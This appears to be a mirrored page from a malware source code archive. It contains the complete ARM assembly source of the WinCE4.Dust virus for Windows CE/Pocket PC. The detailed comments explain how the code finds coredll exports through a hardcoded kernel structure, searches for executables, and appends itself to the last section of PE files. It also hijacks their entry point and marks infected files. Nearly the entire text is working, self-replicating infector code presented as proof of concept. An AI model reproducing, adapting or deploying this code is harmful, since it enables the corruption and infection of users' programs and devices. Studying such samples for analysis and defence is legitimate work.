mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
685 lines
22 KiB
Plaintext
685 lines
22 KiB
Plaintext
|
|
** virus_source **
|
|
|
|
CODE32
|
|
|
|
EXPORT WinMainCRTStartup
|
|
|
|
AREA .text, CODE, ARM
|
|
|
|
virus_start
|
|
|
|
; r11 - base pointer
|
|
virus_code_start PROC
|
|
stmdb sp!, {r0 - r12, lr, pc}
|
|
mov r11, sp
|
|
sub sp, sp, #56 ; make space on the stack
|
|
|
|
; our stack space gets filled the following way
|
|
; #-56 - udiv
|
|
; #-52 - malloc
|
|
; #-48 - free
|
|
; [r11, #-44] - CreateFileForMappingW
|
|
; #-40 - CloseHandle
|
|
; #-36 - CreateFileMappingW
|
|
; #-32 - MapViewOfFile
|
|
; #-28 - UnmapViewOfFile
|
|
; #-24 - FindFirstFileW
|
|
; #-20 - FindNextFileW
|
|
; #-16 - FindClose
|
|
; #-12 - MessageBoxW
|
|
|
|
; #- 8 - filehandle
|
|
; #- 4 - mapping handle
|
|
|
|
bl get_export_section
|
|
|
|
; we'll import via ordinals, not function names, because it's
|
|
; safe - even linker does that
|
|
|
|
adr r2, import_ordinals
|
|
mov r3, sp
|
|
bl lookup_imports
|
|
|
|
;
|
|
bl ask_user
|
|
beq jmp_to_host ; are we allowed to spread?
|
|
;
|
|
|
|
mov r0, #0x23, 28
|
|
mov lr, pc
|
|
ldr pc, [r11, #-52] ; allocate WFD
|
|
mov r4, r0
|
|
|
|
cmp r0, #0
|
|
beq jmp_to_host
|
|
|
|
; in the following code I use functions FindFirstFile/FindNextFile
|
|
; for finding *.exe files in the current directory. But in this
|
|
; case I made a big mistake. I didn't realize that WinCE is not
|
|
; aware of the current directory and thus we need to use absolute
|
|
; pathnames. That's why this code won't find files in the current
|
|
; directory, but rather always in root directory. I found this out when I
|
|
; was performing final tests, but because the aim was to create a
|
|
; proof-of-concept code and because the infection itself was already
|
|
; limited by the user's permission, I decided not to correct this
|
|
; bug
|
|
|
|
adr r0, mask
|
|
mov r1, r4
|
|
mov lr, pc
|
|
ldr pc, [r11, #-24] ; find first file
|
|
cmn r0, #1
|
|
beq free_wfd
|
|
|
|
mov r5, r0
|
|
find_files_iterate
|
|
ldr r0, [r4, #28] ; filesize high
|
|
ldr r1, [r4, #32] ; filesize low
|
|
|
|
cmp r0, #0 ; file too big?
|
|
bne find_next_file
|
|
|
|
cmp r1, #0x1000 ; file smaller than 4096 bytes?
|
|
addgt r0, r4, #40 ; gimme file name
|
|
blgt infect_file
|
|
|
|
find_next_file
|
|
mov r0, r5
|
|
mov r1, r4
|
|
mov lr, pc
|
|
ldr pc, [r11, #-20] ; find next file
|
|
cmp r0, #0 ; is there any left?
|
|
bne find_files_iterate
|
|
|
|
mov r0, r5
|
|
mov lr, pc
|
|
ldr pc, [r11, #-16]
|
|
|
|
free_wfd
|
|
mov r0, r4
|
|
mov lr, pc
|
|
ldr pc, [r11, #-48] ; free WFD
|
|
;
|
|
|
|
jmp_to_host
|
|
adr r0, host_ep
|
|
ldr r1, [r0] ; get host_entry
|
|
ldr r2, [r11, #56] ; get pc
|
|
add r1, r1, r2 ; add displacement
|
|
str r1, [r11, #56] ; store it back
|
|
|
|
mov sp, r11
|
|
ldmia sp!, {r0 - r12, lr, pc}
|
|
ENDP
|
|
|
|
; we're looking for *.exe files
|
|
mask DCB "*", 0x0, ".", 0x0, "e", 0x0, "x", 0x0, "e", 0x0, 0x0, 0x0
|
|
|
|
; host entry point displacement
|
|
; in first generation let compiler count it
|
|
host_ep
|
|
DCD host_entry - virus_code_start - 8
|
|
|
|
; WinCE is a UNICODE-only platform and thus we'll use the W ending
|
|
; for api names (there are no ANSI versions of these)
|
|
|
|
import_ordinals
|
|
DCW 2008 ; udiv
|
|
DCW 1041 ; malloc
|
|
DCW 1018 ; free
|
|
DCW 1167 ; CreateFileForMappingW
|
|
DCW 553 ; CloseHandle
|
|
DCW 548 ; CreateFileMappingW
|
|
DCW 549 ; MapViewOfFile
|
|
DCW 550 ; UnmapViewOfFile
|
|
DCW 167 ; FindFirstFileW
|
|
DCW 181 ; FindNextFile
|
|
DCW 180 ; FindClose
|
|
DCW 858 ; MessageBoxW
|
|
|
|
DCD 0x0
|
|
|
|
; basic wide string compare
|
|
wstrcmp PROC
|
|
wstrcmp_iterate
|
|
ldrh r2, [r0], #2
|
|
ldrh r3, [r1], #2
|
|
|
|
cmp r2, #0
|
|
cmpeq r3, #0
|
|
moveq pc, lr
|
|
|
|
cmp r2, r3
|
|
beq wstrcmp_iterate
|
|
|
|
mov pc, lr
|
|
ENDP
|
|
|
|
; on theWin32 platform, almost all important functions were located in the
|
|
; kernel32.dll library (and if they weren't, the LoadLibrary/GetProcAddresss pair
|
|
; was). The first infectors had a hardcoded imagebase of this dll and
|
|
; later they imported needed functions by hand from it. This
|
|
; turned out to be incompatible because different Windows versions might
|
|
; have different imagebases for kernel32. That's why more or less
|
|
; sophisticated methods were found that allowed coding in a
|
|
; compatible way. One of these methods is scanning memory for known values
|
|
; located in PE file header ("MZ") if the address inside the module is
|
|
; given. Because the function inside kernel32 calls the EntryPoint of
|
|
; every Win32 process, we've got this address. Then comparing the word
|
|
; on and aligned address (and decrementing it) against known values is
|
|
; enough to locate the imagebase. If this routine is even covered
|
|
; with SEH (Structured Exception Handling) everything is safe.
|
|
|
|
; I wanted to use this method on WinCE too, but I hit the wall.
|
|
; Probably to save memory space, there are no headers
|
|
; before the first section of the loaded module. There is thus no
|
|
; "MZ" value and scanning cannot be used even we have the address
|
|
; inside coredll.dll (lr registr on our entrypoint). Moreover, we
|
|
; cannot use SEH either, because SEH handlers get installed with
|
|
; the help of a special directory (the exception directory) in the PE file and
|
|
; some data before the function starts - this information would have
|
|
; to be added while infecting the victim (the exception directory
|
|
; would have to be altered) which is of course not impossible -- just
|
|
; a little bit impractical to implement in our basic virus.
|
|
|
|
; That's why I was forced to use a different approach. I looked
|
|
; through the Windows CE 3.0 source code (shared source,
|
|
; downloadable from Microsoft) and tried to find out how the loader
|
|
; performs its task. The Loader needs the pointer to the module's export
|
|
; section and its imagebase to be able to import from it. The result was a
|
|
; KDataStruct at a hardcoded address accessible from user mode (why Microsoft
|
|
; chose to open this loophole, I don't know)
|
|
; and mainly it's item aInfo[KINX_MODULES] which is a pointer to a
|
|
; list of Module structures. There we can find all needed values
|
|
; (name of the module, imagebase and export section RVA). In the
|
|
; code that follows I go through this one-way list and look for
|
|
; structure describing the coredll.dll module. From this structure I
|
|
; get the imagebase and export section RVA (Relative Virtual Address).
|
|
|
|
; what sounds relatively easy was in the end more work than I
|
|
; expected. The problem was to get the offsets in the Module
|
|
; structure. The source code and corresponding headers I had were for
|
|
; Windows CE 3.0, but I was writing for Windows CE 4.2 (Windows Mobile 2003),
|
|
; where the structure is different. I worked it out using the following
|
|
; sequence:
|
|
; I was able to get the imagebase offset using the trial-and-error
|
|
; method - I used the debugger and tried values inside the
|
|
; structure that looked like valid pointers. If there was something
|
|
; interesting, I did some memory sniffing to realize where I was.
|
|
; The export section pointer was more difficult. There is no real
|
|
; pointer, just the RVA instead. Adding the imagebase to RVA gives us the
|
|
; pointer. That's why I found coredll.dll in memory - namely the
|
|
; list of function names in export section that the library exports.
|
|
; This list is just a series of ASCIIZ names (you can see this list
|
|
; when opening the dll in your favourite hex editor). At the
|
|
; beginning of this list there must be a dll name (in this case
|
|
; coredll.dll) to which a RVA in the export section header
|
|
; points. Substracting the imagebase from the address where the dll
|
|
; name starts gave me an RVA of the dll name. I did a simple byte
|
|
; search for the byte sequence that together made this RVA value. This
|
|
; showed me where the (Export Directory Table).Name Rva is.
|
|
; Because this is a known offset within a known structure (which is
|
|
; in the beginning of export section), I was able to get
|
|
; the export section pointer this way. I again substracted the imagebase to
|
|
; get the export section RVA. I looked up this value in the coredll's
|
|
; Module structure, which finally gave me the export section RVA
|
|
; offset.
|
|
|
|
; this works on Pocket PC 2003; it works on
|
|
; my wince 4.20.0 (build 13252).
|
|
; On different versions the structure offsets might be different :-/
|
|
|
|
; output:
|
|
; r0 - coredll base addr
|
|
; r1 - export section addr
|
|
get_export_section PROC
|
|
stmdb sp!, {r4 - r9, lr}
|
|
|
|
ldr r4, =0xffffc800 ; KDataStruct
|
|
ldr r5, =0x324 ; aInfo[KINX_MODULES]
|
|
|
|
add r5, r4, r5
|
|
ldr r5, [r5]
|
|
|
|
; r5 now points to first module
|
|
|
|
mov r6, r5
|
|
mov r7, #0
|
|
|
|
iterate
|
|
ldr r0, [r6, #8] ; get dll name
|
|
adr r1, coredll
|
|
bl wstrcmp ; compare with coredll.dll
|
|
|
|
ldreq r7, [r6, #0x7c] ; get dll base
|
|
ldreq r8, [r6, #0x8c] ; get export section rva
|
|
|
|
add r9, r7, r8
|
|
beq got_coredllbase ; is it what we're looking for?
|
|
|
|
ldr r6, [r6, #4]
|
|
cmp r6, #0
|
|
cmpne r6, r5
|
|
bne iterate ; nope, go on
|
|
|
|
got_coredllbase
|
|
mov r0, r7
|
|
add r1, r8, r7 ; yep, we've got imagebase
|
|
; and export section pointer
|
|
|
|
ldmia sp!, {r4 - r9, pc}
|
|
ENDP
|
|
|
|
coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0
|
|
DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0
|
|
|
|
; r0 - coredll base addr
|
|
; r1 - export section addr
|
|
; r2 - import ordinals array
|
|
; r3 - where to store function adrs
|
|
lookup_imports PROC
|
|
stmdb sp!, {r4 - r6, lr}
|
|
|
|
ldr r4, [r1, #0x10] ; gimme ordinal base
|
|
ldr r5, [r1, #0x1c] ; gimme Export Address Table
|
|
add r5, r5, r0
|
|
|
|
lookup_imports_iterate
|
|
ldrh r6, [r2], #2 ; gimme ordinal
|
|
cmp r6, #0 ; last value?
|
|
|
|
subne r6, r6, r4 ; substract ordinal base
|
|
ldrne r6, [r5, r6, LSL #2] ; gimme export RVA
|
|
addne r6, r6, r0 ; add imagebase
|
|
strne r6, [r3], #4 ; store function address
|
|
bne lookup_imports_iterate
|
|
|
|
ldmia sp!, {r4 - r6, pc}
|
|
ENDP
|
|
|
|
; r0 - filename
|
|
; r1 - filesize
|
|
infect_file PROC
|
|
stmdb sp!, {r0, r1, r4, r5, lr}
|
|
|
|
mov r4, r1
|
|
mov r8, r0
|
|
|
|
bl open_file ; first open the file for mapping
|
|
cmn r0, #1
|
|
beq infect_file_end
|
|
str r0, [r11, #-8] ; store the handle
|
|
|
|
mov r0, r4 ; now create the mapping with
|
|
; maximum size == filesize
|
|
bl create_mapping
|
|
cmp r0, #0
|
|
beq infect_file_end_close_file
|
|
str r0, [r11, #-4] ; store the handle
|
|
|
|
mov r0, r4
|
|
bl map_file ; map the whole file
|
|
cmp r0, #0
|
|
beq infect_file_end_close_mapping
|
|
mov r5, r0
|
|
|
|
bl check_header ; is it file that we can infect?
|
|
bne infect_file_end_unmap_view
|
|
|
|
ldr r0, [r2, #0x4c] ; check the reserved field in
|
|
; optional header against
|
|
ldr r1, =0x72617461 ; rata
|
|
cmp r0, r1 ; already infected?
|
|
beq infect_file_end_unmap_view
|
|
|
|
ldr r1, [r2, #0x3c] ; gimme filealignment
|
|
adr r0, virus_start
|
|
adr r2, virus_end ; compute virus size
|
|
sub r0, r2, r0
|
|
mov r7, r0 ; r7 now holds virus_size
|
|
add r0, r0, r4
|
|
bl _align_ ; add it to filesize and
|
|
mov r6, r0 ; align it to filealignment
|
|
; r6 holds the new filesize
|
|
|
|
mov r0, r5
|
|
mov lr, pc
|
|
ldr pc, [r11, #-28] ; UnmapViewOfFile
|
|
|
|
ldr r0, [r11, #-4]
|
|
mov lr, pc
|
|
ldr pc, [r11, #-40] ; close mapping handle
|
|
|
|
;
|
|
mov r0, r8
|
|
bl open_file ; reopen the file because via
|
|
; closing the mapping handle file
|
|
; handle was closed too
|
|
cmn r0, #1
|
|
beq infect_file_end
|
|
str r0, [r11, #-8]
|
|
|
|
mov r0, r6 ; create mapping again with the
|
|
bl create_mapping ; new filesize (with virus appended)
|
|
|
|
cmp r0, #0
|
|
beq infect_file_end_close_file
|
|
str r0, [r11, #-4]
|
|
|
|
mov r0, r6
|
|
bl map_file ; map it
|
|
cmp r0, #0
|
|
beq infect_file_end_close_mapping
|
|
mov r5, r0
|
|
;
|
|
|
|
; r5 - mapping base
|
|
; r7 - virus_size
|
|
|
|
ldr r4, [r5, #0x3c] ; get PE signature offset
|
|
add r4, r4, r5 ; add the base
|
|
|
|
ldrh r1, [r4, #6] ; get NumberOfSections
|
|
sub r1, r1, #1 ; we want the last section header
|
|
; so dec
|
|
mov r2, #0x28 ; multiply with section header size
|
|
mul r0, r1, r2
|
|
|
|
add r0, r0, r4 ; add optional header start to displacement
|
|
add r0, r0, #0x78 ; add optional header size
|
|
|
|
ldr r1, [r4, #0x74] ; get number of data directories
|
|
mov r1, r1, LSL #3 ; multiply with sizeof(data_directory)
|
|
add r0, r0, r1 ; add it because section headers
|
|
; start after the optional header
|
|
; (including data directories)
|
|
|
|
ldr r6, [r4, #0x28] ; gimme entrypoint rva
|
|
|
|
ldr r1, [r0, #0x10] ; get last section's size of rawdata
|
|
ldr r2, [r0, #0x14] ; and pointer to rawdata
|
|
mov r3, r1
|
|
add r1, r1, r2 ; compute pointer to the first
|
|
; byte available for us in the
|
|
; last section
|
|
; (pointer to rawdata + sizeof rawdata)
|
|
mov r9, r1 ; r9 now holds the pointer
|
|
|
|
ldr r8, [r0, #0xc] ; get RVA of section start
|
|
add r3, r3, r8 ; add sizeof rawdata
|
|
str r3, [r4, #0x28] ; set entrypoint
|
|
|
|
sub r6, r6, r3 ; now compute the displacement so that
|
|
; we can later jump back to the host
|
|
sub r6, r6, #8 ; sub 8 because pc points to
|
|
; fetched instruction (viz LTORG)
|
|
|
|
mov r10, r0
|
|
ldr r0, [r10, #0x10] ; get size of raw data again
|
|
add r0, r0, r7 ; add virus size
|
|
ldr r1, [r4, #0x3c]
|
|
bl _align_ ; and align
|
|
|
|
str r0, [r10, #0x10] ; store new size of rawdata
|
|
str r0, [r10, #0x8] ; store new virtual size
|
|
|
|
ldr r1, [r10, #0xc] ; get virtual address of last section
|
|
add r0, r0, r1 ; add size so get whole image size
|
|
str r0, [r4, #0x50] ; and store it
|
|
|
|
ldr r0, =0x60000020 ; IMAGE_SCN_CNT_CODE | MAGE_SCN_MEM_EXECUTE |
|
|
; IMAGE_SCN_MEM_READ
|
|
ldr r1, [r10, #0x24] ; get old section flags
|
|
orr r0, r1, r0 ; or it with our needed ones
|
|
str r0, [r10, #0x24] ; store new flags
|
|
|
|
ldr r0, =0x72617461
|
|
str r0, [r4, #0x4c] ; store our infection mark
|
|
|
|
add r1, r9, r5 ; now we'll copy virus body
|
|
mov r9, r1 ; to space prepared in last section
|
|
adr r0, virus_start
|
|
mov r2, r7
|
|
bl simple_memcpy
|
|
|
|
adr r0, host_ep ; compute number of bytes between
|
|
; virus start and host ep
|
|
adr r1, virus_start
|
|
sub r0, r0, r1 ; because we'll store new host_ep
|
|
str r6, [r0, r9] ; in the copied virus body
|
|
|
|
infect_file_end_unmap_view
|
|
mov r0, r5
|
|
mov lr, pc ; unmap the view
|
|
ldr pc, [r11, #-28]
|
|
infect_file_end_close_mapping
|
|
ldr r0, [r11, #-4]
|
|
mov lr, pc ; close the mapping
|
|
ldr pc, [r11, #-40]
|
|
infect_file_end_close_file
|
|
ldr r0, [r11, #-8]
|
|
mov lr, pc ; close file handle
|
|
ldr pc, [r11, #-40]
|
|
infect_file_end
|
|
ldmia sp!, {r0, r1, r4, r5, pc} ; and return
|
|
ENDP
|
|
|
|
; a little reminiscence of my beloved book - Greg Egan's Permutation City
|
|
DCB "This code arose from the dust of Permutation City"
|
|
ALIGN 4
|
|
|
|
|
|
; this function checks whether the file we want to infect is
|
|
; suitable
|
|
check_header PROC
|
|
ldrh r0, [r5]
|
|
ldr r1, =0x5a4d ; MZ?
|
|
cmp r0, r1
|
|
bne infect_file_end_close_mapping
|
|
|
|
ldr r2, [r5, #0x3c]
|
|
add r2, r2, r5
|
|
|
|
ldrh r0, [r2]
|
|
ldr r1, =0x4550 ; Signature == PE?
|
|
cmp r0, r1
|
|
bne check_header_end
|
|
|
|
ldrh r0, [r2, #4]
|
|
ldr r1, =0x1c0 ; Machine == ARM?
|
|
cmp r0, r1
|
|
bne check_header_end
|
|
|
|
ldrh r0, [r2, #0x5C] ; IMAGE_SUBSYSTEM_WINDOWS_CE_GUI ?
|
|
cmp r0, #9
|
|
bne check_header_end
|
|
|
|
ldrh r0, [r2, #0x40]
|
|
cmp r0, #4 ; windows ce 4?
|
|
|
|
check_header_end
|
|
mov pc, lr
|
|
ENDP
|
|
|
|
; r0 - file
|
|
open_file PROC
|
|
str lr, [sp, #-4]!
|
|
|
|
sub sp, sp, #0xc
|
|
mov r1, #3
|
|
str r1, [sp] ; OPEN_EXISTING
|
|
mov r3, #0
|
|
mov r2, #0
|
|
str r3, [sp, #8]
|
|
str r3, [sp, #4]
|
|
mov r1, #3, 2 ; GENERIC_READ | GENERIC_WRITE
|
|
mov lr, pc
|
|
ldr pc, [r11, #-44] ; call CreateFileForMappingW to
|
|
; get the handle suitable for
|
|
; CreateFileMapping API
|
|
; (on Win32 calling CreateFile is enough)
|
|
add sp, sp, #0xc
|
|
|
|
ldr pc, [sp], #4
|
|
ENDP
|
|
|
|
; r0 - max size low
|
|
create_mapping PROC
|
|
str lr, [sp, #-4]!
|
|
|
|
mov r1, #0
|
|
sub sp, sp, #8
|
|
str r0, [sp]
|
|
str r1, [sp, #4]
|
|
mov r2, #4 ; PAGE_READWRITE
|
|
mov r3, #0
|
|
ldr r0, [r11, #-8]
|
|
mov lr, pc
|
|
ldr pc, [r11, #-36]
|
|
add sp, sp, #8
|
|
|
|
ldr pc, [sp], #4
|
|
ENDP
|
|
|
|
; r0 - bytes to map
|
|
map_file PROC
|
|
str lr, [sp, #-4]!
|
|
|
|
sub sp, sp, #4
|
|
str r0, [sp]
|
|
ldr r0, [r11, #-4]
|
|
mov r1, #6 ; FILE_MAP_READ or FILE_MAP_WRITE
|
|
mov r2, #0
|
|
mov r3, #0
|
|
mov lr, pc
|
|
ldr pc, [r11, #-32]
|
|
add sp, sp, #4
|
|
|
|
ldr pc, [sp], #4
|
|
ENDP
|
|
|
|
|
|
; not optimized (thus simple) mem copy
|
|
; r0 - src
|
|
; r1 - dst
|
|
; r2 - how much
|
|
simple_memcpy PROC
|
|
ldr r3, [r0], #4
|
|
str r3, [r1], #4
|
|
subs r2, r2, #4
|
|
bne simple_memcpy
|
|
mov pc, lr
|
|
ENDP
|
|
|
|
|
|
; (r1 - (r1 % r0)) + r0
|
|
; r0 - number to align
|
|
; r1 - align to what
|
|
_align_ PROC
|
|
stmdb sp!, {r4, r5, lr}
|
|
|
|
mov r4, r0
|
|
mov r5, r1
|
|
|
|
mov r0, r1
|
|
mov r1, r4
|
|
|
|
; ARM ISA doesn't have the div instruction so we'll have to call
|
|
; the coredll's div implementation
|
|
|
|
mov lr, pc
|
|
ldr pc, [r11, #-56] ; udiv
|
|
|
|
sub r1, r5, r1
|
|
add r0, r4, r1
|
|
|
|
ldmia sp!, {r4, r5, pc}
|
|
ENDP
|
|
|
|
; this function will ask user (via a MessageBox) whether we're
|
|
; allowed to spread or not
|
|
ask_user PROC
|
|
str lr, [sp, #-4]!
|
|
|
|
mov r0, #0
|
|
adr r1, text
|
|
adr r2, caption
|
|
mov r3, #4
|
|
|
|
mov lr, pc
|
|
ldr pc, [r11, #-12]
|
|
|
|
cmp r0, #7
|
|
|
|
ldr pc, [sp], #4
|
|
ENDP
|
|
|
|
; notice that the strings are encoded in UNICODE
|
|
|
|
; WinCE4.Dust by Ratter/29A
|
|
caption DCB "W", 0x0, "i", 0x0, "n", 0x0, "C", 0x0, "E", 0x0, "4", 0x0
|
|
DCB ".", 0x0, "D", 0x0, "u", 0x0, "s", 0x0, "t", 0x0, " ", 0x0
|
|
DCB "b", 0x0, "y", 0x0, " ", 0x0, "R", 0x0, "a", 0x0, "t", 0x0
|
|
DCB "t", 0x0, "e", 0x0, "r", 0x0, "/", 0x0, "2", 0x0, "9", 0x0
|
|
DCB "A", 0x0, 0x0, 0x0
|
|
|
|
ALIGN 4
|
|
|
|
; Dear User, am I allowed to spread?
|
|
|
|
text DCB "D", 0x0, "e", 0x0, "a", 0x0, "r", 0x0, " ", 0x0, "U", 0x0
|
|
DCB "s", 0x0, "e", 0x0, "r", 0x0, ",", 0x0, " ", 0x0, "a", 0x0
|
|
DCB "m", 0x0, " ", 0x0, "I", 0x0, " ", 0x0, "a", 0x0, "l", 0x0
|
|
DCB "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
|
|
DCB "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
|
|
DCB "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
|
|
ALIGN 4
|
|
|
|
; Just a little greeting to AV firms :-)
|
|
|
|
DCB "This is proof of concept code. Also, i wanted to make avers happy."
|
|
DCB "The situation when Pocket PC antiviruses detect only EICAR file had"
|
|
DCB " to end ..."
|
|
ALIGN 4
|
|
|
|
; LTORG is a very important pseudo instruction, which places the
|
|
; literal pool "at" the place of its presence. Because the ARM
|
|
; instruction length is hardcoded to 32 bits, it is not possible in
|
|
; one instruction to load the whole 32bit range into a register (there
|
|
; have to be bits to specify the opcode). That's why the literal
|
|
; pool was introduced, which in fact is just an array of 32bit values
|
|
; that are not possible to load. This data structure is later
|
|
; accessed with the aid of the PC (program counter) register that points
|
|
; to the currently executed instruction + 8 (+ 8 because ARM processors
|
|
; implement a 3 phase pipeline: execute, decode, fetch and the PC
|
|
; points not at the instruction being executed but at the instruction being
|
|
; fetched). An offset is added to PC so that the final pointer
|
|
; points to the right value in the literal pool.
|
|
|
|
; the pseudo instruction ldr rX, =<value> while compiling gets
|
|
; transformed to a mov instruction (if the value is in the range of
|
|
; valid values) or it allocates its place in the literal pool and becomes a
|
|
; ldr, rX, [pc, #<offset>]
|
|
; similarly adr and adrl instructions serve to loading addresses
|
|
; to register.
|
|
|
|
; this approach's advantage is that with minimal effort we can get
|
|
; position independent code from the compiler which allows our
|
|
; code to run wherever in the address space the loader will load us.
|
|
|
|
LTORG
|
|
virus_end
|
|
|
|
; the code after virus_end doesn't get copied to victims
|
|
|
|
WinMainCRTStartup PROC
|
|
b virus_code_start
|
|
ENDP
|
|
|
|
; first generation entry point
|
|
host_entry
|
|
mvn r0, #0
|
|
mov pc, lr
|
|
END
|
|
** virus_source_end ** |